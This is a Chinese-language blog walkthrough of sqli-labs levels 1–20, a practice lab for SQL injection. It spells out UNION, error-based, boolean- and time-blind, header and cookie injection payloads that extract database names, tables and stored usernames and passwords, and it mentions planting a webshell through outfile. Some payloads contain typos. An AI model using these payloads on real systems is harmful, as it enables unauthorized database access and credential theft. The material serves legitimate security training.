sqli-labs通关1-20

SQL注入初步学习

Posted by Sprint#51264 on October 20, 2020

引言

SQL注入的目的是对没有权限的数据库进行非授权操作以达信息窃取以及删改等目的的手段,对于sqli-labs我们要做的就是获取所有数据库中用户的用户名以及密码

注入基本思路

1.寻找注入点 2.如何绕过检测 3.找注入方法,用哪种方法爆出想要的数据 4.开始爆库

常用表

牢记默认生成的information_schema数据库,它包含了两个重要的表:

1.COLUMNS

包含三个重要的表:

(1)table_schema,存有所有数据库的名称

(2)table_names,存有所有数据库中表的名称

(3)column_name,存有所有数据库表中所有的字段

2.SCHEMATA

包含一个重要的表scheme_name,存有所有数据库的名称

常用函数


less 1(get基于报错的单引号注入)

原理

当$id传参为一字符串时,没有对单引号进行过滤,原先的语句是

select ... from ... where id='$id'

加1单引号一起传进去之后就会出现有一个单引号没有闭合的现象从而导致报错,利用这个报错找到注入点进行注入并在末尾添加注释符将多余的sql语句进行注释以达到不报错且运行想要的语句的目的


less 2(get基于报错的数字型注入)


原理

通过查看其php源代码文档我们知晓该get方式直接获取一个$id变量`并进行使用,没有任何过滤,所以存在一个数字型注入点

0jMmid.jpg

步骤

1.首先要判断其注入点,用select 1,2,3...发现到三能够正常显示,且根据屏幕回显内容判断出显示位,可以进行下一步的payload

0jQAlq.jpg

2.然后查询含有的数据库名称,可以用database(),也可以直接从schemata里面查

?id=0 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

0jQVXV.jpg

了解到当前处于security库

3.对security库的表进行查询

?id=0 union select 1,2,group_concat(table_name) from information_schema.columns where table_schema='security' --+

0jQemT.jpg

通过其内容可以猜到我们想要的内容应该在users表中,所以接下来就是对users表进行爆字段

4.?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

0jQE60.jpg

可以看到其中有username与password两项,我们随即对其进行输出操作

5.由于我们当前就处于security库中,所以不必再从information_schema库中查找数据,直接

?id=0 union select 1,2,group_concat('|',username,'~',password) from users--+

从users表中输出数据

0jQkpn.jpg


less 3(get基于报错的单引号变形字符注入)

原理

依旧是闭合问题,没有过滤,只不过形式变成了(‘‘)这样的闭合形式

0jldbT.jpg

步骤

1.对页面id传参单引号,发现以下报错页面

0jlarV.jpg

其中发现语法错误附近有’),一个单引号和一个括号,得知闭合方式不只是单引号这样,而是多加了一个括号变成了另外一种形式,所以在注入过程中单引号后加一个括号就可以达成目的

其余步骤和上一题是一样的,最终得到用户密码对照

0jlBaF.jpg ***

less 4(get基于报错的双引号字符型注入)


原理

id是被引号包括的 但如果包括的是单引号比如 ‘$id’,那么我们添加单引号会导致引号未闭合,报错,那如果是’$id”‘这种,虽然双引号没有闭合,但是他在闭合的单引号里,所以这里他的作用只是一个引号,而不是闭合作用,这就解释了 为何添加其他字符达不到闭合的目的。

步骤

1.对$id传参单引号,发现并没有报错,但是由题目提示,进行双引号传参,发现报错信息

0j1mi4.jpg

可以看出,$id变量不仅被双引号括住并且还有一个圆括号在其外部,所以就有了思路,进行双引号连同括号进行传参,构造payload

?id=0") union select 1,2,group_concat(schema_name) from information_schema.schemata --+

发现传回的界面与前面几次的都相似

所以,还是沿用前面的方法进行注入,可以得到最终的结果 ***

less 5(get单引号字符型二次注入)


原理

二次注入可以理解为,将SQL语句存储到数据库中,当数据库对数据进行查询的时候引发的注入

double injection(SQL二次查询注入)

利用了rand(),floor(),count()以及select中group by语句引发的报错

先要了解函数的运行机制:

rand()

rand()函数返回一个0-1之间的随机正数,其值可以为0但是不能为1即[0,1),

但是当种子的值一定时,其产生的随机数序列也是一定的,都是机器事先计算好的,只有种子不一样产生的随机数值可能才不一样,

但是对于数据库来说就是一个未知数。

floor()

floor()函数将返回小于等于所给参数的最大整数部分,比如floor(1.4)=1 floor(0.2)=0

count()

将对同一字段出现的次数进行统计

group by

group by用在select语句当中对重复出现的项目进行归纳,建立一张临时表,收集并分类字段

总结

总体的思路就是,对rand()结合floor()进行查询,产生的结果只有两种:

分别是0和1,再用group by进行分组,也就是说,假设是对floor(rand(14))进行查询,那么其值的分布为0,1,1,0,1,

当进行查询的时候首先执行一次rand()函数查询有没有0字段,发现没有,

那么就要进行插入到临时表中的操作,然而进行插入的时候就会又执行一次rand()函数,

所以此时插入到表中的数据应该是字段1出现了一次,再进行第二次查询的时候floor(rand())函数产生的最终结果是1,

查询到临时表中记录有,所以次数加一,当进行到第三次查询的时候floor(rand())函数产生结果0,

临时表中没有,于是乎进行第二次插入,插入时再次执行随机数函数产生结果为1,临时表中有字段为1的值,

由于UNIQUE限制不能有相同字段出现,那么此次插数据时就会发生错误。

我们不将想要显示的值直接显示,而是用concat函数将其与错误信息的输出进行拼接,就可以在错误信息中看到想要的内容。(个人初步理解,写得有点乱)

步骤

1.还是单引号先检测发现页面回传不对,猜测可能存在单引号注入

2.使用二次查询注入手法构造payload:

?id=0' union select null,count(*),concat((select database()),floor(rand()*2))as a from information_schema.schemata group by a --+

0j10yt.jpg

该代码查询当前所在的数据库security,接下来要对其中的表进行查询

payload:

?id=0' union select null,count(*),concat((select table_name from information_schema.columns where table_schema='security'),floor(rand()*2))as a from information_schema.columns group by a--+

但是呢,如图,我们现在又遇到了新的问题,就是返回的结果不止一行,但是要求只显示一行的结果,我们这里就可以利用SQL语句LIMIT属性对返回的结果进行行限制

0j1BOP.jpg

payload:

?id=0' union select null,count(*),concat((select table_name from information_schema.columns where table_schema='security' limit 0,1),floor(rand()*2))as a from information_schema.columns group by a--+

结果回显

0j1wQI.jpg

接着,用同样的方法对显示位置进行选择,直到对所有的表进行输出一遍。

找到users表,对其中的内容进行输出

找到跟用户有关的两个关键字段username和password,然后选中进行输出,但是只能输出一条结果

id=0' union select null,count(*),concat((select concat('|',username,'~',password) from users limit 0,1),floor(rand()*2) as a from information_schema.columns group by a--+


less 6(双查询注入双引号闭合字符型)


原理

仍旧是双查询注入,只不过是改变了闭合方式

步骤

通体思路,检查注入点注入类型,检查显示字段数,爆库名表命字段,输出

0j1HkF.jpg


less7(outfile文件写入字符型)

原理

对服务器上的文件有写入的权限,可以写入小马用菜刀连接从而获取数据库权限

需求:

1.知道文件在服务器上的绝对路径

2.文件大小要小于max_allowed_packet

3.secure_file_priv的值为空,否则只能读写其中包括的文件

命令:

select 1,2,3 into outfile "绝对地址" %23

步骤

1.测验文件内的闭合方式


less 8(单引号get布尔盲注)

原理

bool盲注,出现错误的时候没有错误提示,只有页面回显的差别,查看当前源码得知,当传参正确时就会显示you are in,所以只根据页面的对与错来判断语句是否执行正确

而且要得知数据库名表命列名都要一步一步地试出来,过程非常缓慢,通过脚本或者使用sqlmap工具会大大提高效率

步骤

1.获取当前数据库长度

?id=-1' and length(database())=(数字)

2.获取数据库名称

?id=-1' and left(database())='英文字母'

3.获取表名列名同样是爆破

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+

?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+

ps:在爆破单个字母是时使用二分法可以大大缩减所用的时间,灵活运用大于小于号,快速定位字母的位置

类似于这样left((select database()),1)<'t'

4.爆用户名?id=-1' and left((select username from users limit 0,1),1)='d'

5.爆密码?id=-1' and left((select password from users limit 0,1),1)='d'

不过值得注意的是爆出来的字母是不区分大小写的,具体还需要登录进行尝试


less 9(get时间布尔盲注)

原理

根据页面回显所用时间判断语句是否正确执行,使用sleep()函数相配合进行延时显示

步骤

1.对页面输入id=1回显正常仍旧是you are in….没有任何其他信息

2.加入单引号再次载入回显正常

3.构造payload?id=1' and sleep(10) --+

发现页面十秒后回显正常,也就是说后面的语句被执行了,所以存在注入漏洞

4.于是对其数据库名称长度进行猜解仍旧用到length()函数,

?id=1' and if(length(database))=8,sleep(5),1) --+

发现当length长度不等于8时都会秒显示,只有等于8时才会休眠5s再次回显,

5.其余猜解过程同第八关一样


less 10(双引号get时间布尔盲注)

原理

根据题目信息提示是双引号盲注,我们进到其源码中查看发现id变量被双引号包括了起来如下

$id = '"'.$id.'"';

也就是说,我们要更改闭合方式,剩余的步骤应该依旧是猜测

步骤省略


less 11(post基于错误的单引号字符串注入)

原理

这次的页面比较新,是一个登陆界面

0j3Pte.jpg

报错注入

利用到extractvalue()函数,

它的作用是从目标XML中返回包含所查询值的字符串。

它的正确语法是:extractvalue(XML_document, XPath_string)

其中:

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串)

如果我们对其中的参数输入错误的格式,那么它就会进行报错

步骤

1.在该页面提交表单发现会登陆失败,使用burpsuite进行拦截并且多次测试表单内容

2.首先测试注入点,是否存在注入漏洞

构造payload

uname=admin' and 1=1 --+ &passwd=admin&submit=Submit

页面显示能够登录

uname=admin' and 1=1 --+ &passwd=admin&submit=Submit

页面显示登陆失败

0j3ifH.jpg

说明and后的语句被执行了,也就是说存在注入漏洞

3.接下来可以使用报错对数据库的内容进行输出

构造payload:

uname=admin' and extractvalue(1,concat('~',(select database()))) --+&passwd=admin&submit=Submit

0j3pTO.jpg

如图所示,相应的数据库名被与错误信息连接在一起显示了出来

4.对数据表进行输出

uname=admin' and extractvalue(1,concat('~',(select group_concat(table_name)from information_schema.columns where table_schema='security')))--+&passwd=admin&submit=Submit

0j1zm6.jpg

但是发现能显示出来的只有两个表,需要对其余的几个表进行爆破,利用SQL语句的 NOT IN限制

uname=admin' and extractvalue(1,concat('~',(select group_concat(table_name)from information_schema.columns where table_schema='security' and table_name not in('emails'))))--+&passwd=admin&submit=Submit

连续排除几个表发现数据库中所有的表为emails,referers,uagents还有users,要对users表进行爆破

5.uname=admin' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name in ('users')))) --+ &passwd=admin&submit=Submit

只获取users表中的三个列名id,username,password

6.uname=admin' and extractvalue(1,concat('~',(select group_concat('|',username,'~',password,'|') from users ))) --+ &passwd=admin&submit=Submit

查询到部分用户的用户名和密码,如果想查看更多可以继续添加where 与 not in属性

uname=admin' and extractvalue(1,concat('~',(select group_concat('|',username,'~',password,'|') from users where username not in('Dumb','Angelina') ))) --+ &passwd=admin&submit=Submit

以此类推


less 12(基于错误的双引号POST型字符变形的注入)

原理

与上一题相似,但是改成了双引号变形字符注入,值得注意的是,并不是把单引号换成双引号这么简单,查看源码找到注入点

发现uname和passwd都被用双引号括了起来,所以要想办法对其进行闭合并且接入新的语句

步骤

1.构造语句

admin" and extractvalue(1,concat('~',(select database()))) and "

也是用报错的漏洞,将数据库信息输出

2.爆表名

uname=admin" and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and " &passwd=admin&submit=Submit

3.爆列名

uname=admin" and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users'))) and " &passwd=admin&submit=Submit

还是由于显示的问题,所以采用where和not in的属性对其进行限制与显示新的数据

4.其余爆用户名和密码的方式与之前一样

uname=admin" and extractvalue(1,concat('~',(select group_concat(username,'~',password) from users))) and " &passwd=admin&submit=Submit


less 13(POST单引号变形双注入)

原理

基于报错的注入

步骤

1.首先尝试单引号注入,根据报错信息得知闭合方式是’)

2.uname=admin') and extractvalue(1,concat(0x7e,(select database()))) and ('

其余的过程与上一关基本相同


less 14(POST单引号变形双注入)

原理

依旧是根据报错爆名

步骤

1.还是单引号找注入点,发现没有回显,猜测单引号被双引号所包裹,所以尝试双引号显示了错误信息。

2.uname=admin" and extractvalue(1,concat(0x7e,(select database()))) and " &passwd=admin&submit=Submit

可以发现凡是用到报错函数的句式都长得非常相似,其整体思路也是相同的

具体爆库名表命列名payload学习见上,唯一需要注意的就是闭合方式


less 15(基于bool型/时间延迟单引号POST型盲注)

原理

无论怎么输入都没有回显的布尔型,通过时间延迟判断是否执行语句,并且如果是手工注入的话所有的库名表名列名都要一个一个猜。前后顺序为:数据库名长度->数据库名猜测->按条依次猜测表名->对表名中的值进行猜测

步骤

1.仍旧是注入点测试

uname=admin' and 1=1 --+ 登录成功

uname=admin' and 1=2 --+ 登录失败

以此判断此处存在可以语句执行的漏洞

2.开始对各项值进行猜测

uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit

uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit

uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit

uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit

uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit

uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit ***

less 16(基于bool型/时间延迟的双引号POST型盲注)

原理

没有报错信息的盲注过程。

步骤

本题只是改变了闭合方式为”),其余步骤仍旧见上 ***

less 17(基于错误的更新查询POST注入)

原理

updatexml()报错注入

该函数的正确用法

UPDATEXML(XML_doccument,XPath_string,new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

仍旧是因为输入参数的格式不符合其标准格式,所以才会报错

步骤

1.查看源码发现对uname做了check_input 处理,该函数的操作是

function check_input($value)

{

if(!empty($value))

	{

	// truncation (see comments)

	$value = substr($value,0,15);

	}

 
	// Stripslashes if magic quotes enabled

	if (get_magic_quotes_gpc())

		{

		$value = stripslashes($value);

		}
 
	// Quote if not a number

	if (!ctype_digit($value))

		{

		$value = "'" . mysql_real_escape_string($value) . "'";

		}
	
else

	{

	$value = intval($value);

	}

return $value;

}

只截取15个字符,

get_magic_quotes_gpc()

当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1

当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0

magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。

在magic_quotes_gpc = On的情况下,如果输入的数据有

单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。

stripslashes()删除由 addslashes() 函数添加的反斜杠

ctype_digit()判断是不是数字,是数字就返回true,否则返回false

mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。

intval() 整型转换

但是对password没有太多的过滤

2.针对password进行爆破,由题目使用updatexml()函数报错

对版本进行测试爆破:

uname=admin&passwd=admin' and updatexml(1,concat('~',version()),'~',1)--+ &submit=Submit

爆库

uname=admin&passwd=admin' and updatexml(1,concat('~',database()),'~',1)--+ &submit=Submit

爆表

uname=admin&passwd=admin' and updatexml(1,concat('~',(select group_concat(table_name) from information_schma.columns where table_schema=database()),'~'),1)--+ &submit=Submit

爆列名

uname=admin&passwd=admin' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in('user_id','user','first_name','last_name','avatar','last_login','failed_login')),'~'),1)

尝试输出密码

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+ &submit=Submit

却发现了错误

0j3tBV.jpg

尝试加一层select

uname=admin&passwd=admin' and updatexml(1,concat('~',(select password from (select password from users where username='admin')),'~'),1) --+&submit=Submit

发现提示:every derived table must have its own alias

需要给查询的表添加一个别名

uname=admin&passwd=12' and updatexml(1,concat('~',(select password from (select password from users where username='admin')a),'~'),1) --+&submit=Submit


less 18(基于错误的用户代理,头部POST注入)[存疑]

原理

http头部注入,uagent字段

步骤

1.查看源代码,发现用户名和密码都被做了check_input检测,但是新出现了一个注入点user-agent,

$uagent = $_SERVER['HTTP_USER_AGENT'];

$insert="INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('$uagent', '$IP', $uname)";

对uagent没有过滤便对其向数据库进行了插入,所以可以用bp对user_agent进行注入,将其改为payload

爆库:

'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

0j37ut.jpg

其余步骤同报错注入


less 19(基于头部的Referer POST报错注入)

原理

对http请求头部referer字段没有进行过滤就直接插入数据库,导致可以抓包改包从referer进行payload注入

步骤

1.查看源码发现如下代码:

$uagent = $_SERVER['HTTP_REFERER'];

$insert="INSERT INTO security.referers (referer, ip_address) VALUES ('$uagent', '$IP')";

没有其他不同的点,唯一与上题不同的就是修改了注入点,所以说还是使用报错注入,将注入点改成referer字段即可,其余步骤与上题一样


less 20(基于错误的cookie头部POST注入)

原理

源码中对cookie是直接获取的,没有任何过滤,起初是没有头绪的,看了别人的博客发现是先进行登录然后才进行注入的,想了想也是,没有登录哪里来的cookie,那么我们可以把这题理解为,在真实环境下,注册登

录后的拥有一般权限的恶意用户想要通过cookie注入来获取数据库中的其它信息

步骤

1.进行正常登录,登录后的页面如图所示

0j3LE8.jpg

使用bp抓包发现http请求头部有cookie字段

0j8CD0.jpg

2.尝试从cookie进行注入,单引号测试

uname=admin'

发现报错信息,证明有注入点存在

BplON6.jpg

然后构造payload

uname=admin' and 1=1 --+显示正常

uname=admin' and 1=2 --+显示错误

那么我们就可以进行下一步的行动了

3.先测试显示位

uname=admin' union select 1,2,3

显示正常

也可以

uname=admin' order by 4 --+

4.爆数据库

记住给的uname值一定要是数据库中不存在的,否则就会一直返回那条查询出来的结果

uname=-admin' union select 1,2,database() --+

Bp3uRO.jpg

5.爆表名

uname=-admin' union select 1,2,group_concat('|',table_name'|') from information_schema.columns where table_schema=databae() --+

其余的步骤就同最初几关非常相似了

uname=-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

uname=-admin' union select 1,2,group_concat('|',username,'~',password,'|') from users --+

结果成功回显 ***

收获

错误信息

根据错误信息可以得到路径,闭合方式

没有错误信息要考虑bool或者时间延迟 ** **

疑问

7.(1)如何获取文件所在的路径

7.(2)为什么绝对路径要加双斜杠